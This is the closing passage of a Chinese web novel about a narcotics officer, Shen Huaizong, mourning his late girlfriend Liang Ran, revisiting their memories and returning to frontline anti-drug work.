观音望着沈淮宗。 沈淮宗看着观音。 有些事也许从一开始就已经注定。 …… 傍晚,沈淮宗去了阳城一处海滩。 他很久没有再来过这里,这也不是他和梁然有过美好回忆的地方,但他还是来了。 夕阳已经坠入海面,起伏的浪潮上碎光粼粼,远处天际的云被火烧似的红。 海滩上多了许多摊贩,曾经海风吹得梁然偏头痛犯了,她想在这里买一杯热饮,但摊主要做很久,她怕他等急了,没有再买。而那个时候他并没有将车停下去路边的奶茶店为她买这杯热饮。 沈淮宗停在一处摊位前要了一杯热饮,摊主依旧要做很久,让他等一等。他点头,去了不远处买了一束粉色玫瑰。 他拎着这杯热饮和怀里的玫瑰,走进那年来过一次的餐厅。 餐厅的生意很好,他挑了靠近海滩的位置坐下,头顶露营帐篷的星星灯串发着光。 这次不是中年老板出来招待他,是个年轻的女店员。 店员笑着问他吃什么。 沈淮宗接过菜单,点了那年点过的菜。 年轻的店员问他:“你是一个人吗?有点多了。”女生忽然看到他膝盖上的玫瑰,又盯着他脸看了会儿,仔细看菜单,终于笑了起来,“我知道了,你是在等你女朋友是不是?就是那个很漂亮,皮肤很白气质很好的美女,黑色卷发那个。” 沈淮宗弯起薄唇。 “你记得她吗?” “是啊,她五月份还来过这里,也是我招呼的她。” 沈淮宗怔住:“她一个人吗,她点了什么菜?” “嗯!她一个人来的,也是点了你点的这些,我还问她是不是在等你才点了这么多菜。” “她说什么,你还记得吗?” “她说在等你啊。”女生说,“后面她吃完了你也没来,我来结账的时候她就说你会来的。” 沈淮宗看着这片夜色。 双眼被海风吹胀。 他吃完了这顿晚餐,把蟹剥到对面的碗里,将酒和对面的杯子轻碰。 结账的时候,女生望着桌上碗里的海鲜和杯子里的酒,有些后知后觉地问他:“你女朋友呢,她没有来吗?这么放菜不太好吧?” 沈淮宗说:“她去世了。她来了,在我心里。” 女生极是震撼,开口想说对不起之类的话,沈淮宗已经起身走了。 他沿着这条海岸,趟过夜晚涨潮的海水,上岸的时候,明明双脚已经干了,却还是在皮肤上结下黏腻潮湿的海盐。 沈淮宗回到了南城。 生活一复一日,没有什么变化。 他适应了梁然不在的日子,他适应了一个人的生活。他的伤全部恢复了,回归了局里。 王有为把他叫到办公室。 “之前你说过想退下来,许书记很看好你,你的文化水平和能力也能够给他做秘书,先干几年,他过几年是会升迁的,你要把握机会。”王有为办好了一切手续,这条晋升之路是别人争都争不到的,他叮嘱沈淮宗,“你听得懂我的意思吧?” “听懂了。”沈淮宗说,“但我不想走这条路了,我还是想干缉毒。” 王有为怔住。 “我想继续留在一线,做一线的工作。” 王有为深吸着气,努力劝导沈淮宗:“你知不知道你未来的路会走得很远很高?这是最好的机会,同样也是为人民服务。你站在这个位置同样可以干缉毒,甚至是自己统筹自己领导,更好地干缉毒工作。” “我知道,叔,现在这些对我没有意义了。” 他没有了梁然。 再好的晋升之路也没有了意义。 沈淮宗回到了一线,继续和同事干着缉毒的工作。 他不会再在思念梁然的时候晕倒或者抽。搐,他没有了那些应激障碍,抓捕毒贩时身手敏捷,案子都很顺利。 他可以如常地和同事谈笑,在何谨峰讲了一个好笑的笑话时,在同事成片地大笑时,他也会浮起微笑。 回到梁然的家,葡萄依旧会开心地欢迎他,陪伴他。 季阿姨虽然不在这里,但清洁都会提前做好,家里依旧整洁干净。 他会看着他洗出来的和梁然的合照,抚摸梁然的脸,过好一个人的生活。他会在实在太想梁然时去开车去怀城的墓地看她。 他能面对梁然了,面对照片上笑着的梁然了。 …… 9月25号,北京大兴国际机场正式投运。 沈淮宗请了假,订了从南城飞往北京大兴最早的一趟航班,又从这座新机场飞往南城。 他看着北京新机场充满文化与艺术的建筑,酷炫的内部设计,起风时高空俯瞰的凤凰展翅般的外形。他的无名指上戴着那枚情侣戒指,抚摸脖子上的平安符。 “梁然,你看到了吗?我带你来坐了南城飞往北京大兴最早的一趟航班。新机场像你说的那样好,是你最喜欢的建筑师设计的,如果你没有看够,下周休假我还带你来。” “但是,今晚你可以进到我梦里吗?我想梦到你。” 他其实想责怪梁然,为什么她不进入他的梦里。 他一点也不怕被打扰,他想每天都把她关在他的梦里。 梁然不会再回应他了。 他只等到了一场静谧的风。 飞机落停,他回到南城,走出机场,头顶是明媚的月亮。 宁静的夜空是神秘莫测的深色,和他的眼眸一样深。 沈淮宗穿过这片月光回到家,打开房门,梁然在照片里对他微笑。 他也弯起薄唇,亲昵地看着她。 落地窗外的晚风吹落进他的眼眸。 沈淮宗站在风里。 永远地站在这场没有梁然的风里。 <正文完>【你现在阅读的是魔蝎小说 moxiexs】